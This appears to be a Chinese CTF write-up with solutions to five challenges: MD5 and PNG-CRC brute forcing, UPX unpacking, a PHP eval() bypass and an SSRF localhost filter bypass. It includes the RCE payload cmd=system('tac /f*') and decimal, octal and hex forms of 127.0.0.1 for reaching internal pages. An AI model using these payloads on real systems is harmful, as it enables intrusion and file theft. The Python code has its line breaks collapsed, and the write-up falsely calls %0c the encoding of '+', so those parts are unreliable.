刷題
- 我的md5臟了
- KFC瘋狂星期四
- 坤坤的csgo邀請
- simplePHP
- curl
我的md5臟了
g0at無意間發現了被打亂的flag:I{i?8Sms??Cd_1?T51??F_1?}
但是好像缺了不少東西,flag的md5值已經通過py交易得到了:88875458bdd87af5dd2e3c750e534741
flag的MD5值,寫了好久的沒有加ISCTF{}
,有些迷茫,多次嘗試出來了
# 生成MD5值
import hashlibs = '1234567890'
# ps = [i for i in range(len(s))]
with open('md5.txt', 'w') as f:print('正在寫入。。。')for i in range(len(s)):for j in range(len(s)):for k in range(len(s)):for l in range(len(s)):for r in range(len(s)):for m in range(len(s)):for n in range(len(s)):md5 = hashlib.md5(('ISCTF{md5_is_11' + s[i] + s[j] + '1' + s[k] + s[l] + '8' + s[r] + s[m] + s[n]+'}').encode()).hexdigest() + '\n'f.write(md5)print('寫入完成。')# 尋找MD5數
import hashlibs = '1234567890'
# ps = [i for i in range(len(s))]
with open('md6.txt', 'w') as f:print('正在寫入。。。')for i in range(len(s)):for j in range(len(s)):for k in range(len(s)):for l in range(len(s)):for r in range(len(s)):for m in range(len(s)):for n in range(len(s)):md5 = 'md5_is_11' + s[i] + s[j] + '1' + s[k] + s[l] + '8' + s[r] + s[m] + s[n] + '\n'f.write(md5)print('寫入完成。')
KFC瘋狂星期四
圖片根據CRC校驗可計算出原圖片的寬高
import zlib
import struct
import argparse
import itertoolsparser = argparse.ArgumentParser()
parser.add_argument("-f", type=str, default=None, required=True,help="輸入同級目錄下圖片的名稱")
args = parser.parse_args()bin_data = open(args.f, 'rb').read()
crc32key = zlib.crc32(bin_data[12:29]) # 計算crc
original_crc32 = int(bin_data[29:33].hex(), 16) # 原始crcif crc32key == original_crc32: # 計算crc對比原始crcprint('寬高沒有問題!')
else:input_ = input("寬高被改了, 是否CRC爆破寬高? (Y/n):")if input_ not in ["Y", "y", ""]:exit()else: for i, j in itertools.product(range(4095), range(4095)): # 理論上0x FF FF FF FF,但考慮到屏幕實際/cpu,0x 0F FF就差不多了,也就是4095寬度和高度data = bin_data[12:16] + struct.pack('>i', i) + struct.pack('>i', j) + bin_data[24:29]crc32 = zlib.crc32(data)if(crc32 == original_crc32): # 計算當圖片大小為i:j時的CRC校驗值,與圖片中的CRC比較,當相同,則圖片大小已經確定print(f"\nCRC32: {hex(original_crc32)}")print(f"寬度: {i}, hex: {hex(i)}")print(f"高度: {j}, hex: {hex(j)}")exit(0)
坤坤的csgo邀請
- upx 脫殼
010 edit vmp為UPX
,使用upx工具進行脫殼或
使用win工具upx -d +"文件路徑"進行脫殼 - 程序分析
拖入IDA查找字符串如下
追蹤得到flag
simplePHP
<?php
highlight_file(__FILE__);
error_reporting(E_ERROR);$str=$_GET['str'];
$pattern = "#\\\\\\\\/Ilikeisctf#";
function filter($num){$num=str_replace("0x","1",$num);$num=str_replace("0","1",$num);$num=str_replace(".","1",$num);$num=str_replace("e","1",$num);$num=str_replace("+","1",$num);return $num;
}if(preg_match($pattern,$str,$arr))
{echo "good try!";$num=$_GET['num'];if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){echo "come on!!!"; // trim:不指定參數時,移除字符串兩側的空格if($num=='36'&isset($_GET['cmd'])){eval($_GET['cmd']);}else{echo "hacker!!";}}else{echo "hacker!!!";}
}
看到一個eval()
可以執行代碼,進入這里首要要滿足,num通過is_numeric的檢測,并且不等于36,去空后依然不等于36,經過過濾方法后依然等于36。
// 1.php
<?php
for($i = 0; $i<129; $i++){$num=chr($i).'36';if(trim($num)!=='36' && is_numeric($num) && $num!=='36'){echo urlencode(chr($i))."\n";}
};
http://localhost/1.php
結果:%0C %2B - . 0 1 2 3 4 5 6 7 8 9
%0c其實就是+號的url編碼
Payload:?str=\\\\\\\\/Ilikeisctf&num=%0c36&cmd=system('tac /f*');
curl
描述:都告訴你curl了,剩下的就別問了
點擊this出現如下:
返回去查看源代碼,在注釋里有一段代碼。
先嘗試?urls=http://127.0.0.1/flag.php
發現被過濾了,localhost也不行。
嘗試把127.0.0.1
轉化為其他進制
- 2130706433 10進制 http://2130706433
- 017700000001 8進制 http://017700000001
- 7F000001 16進制 http://0x7F000001
嘗試10進制可以,?urls=http://2130706433/flag.php
得到flag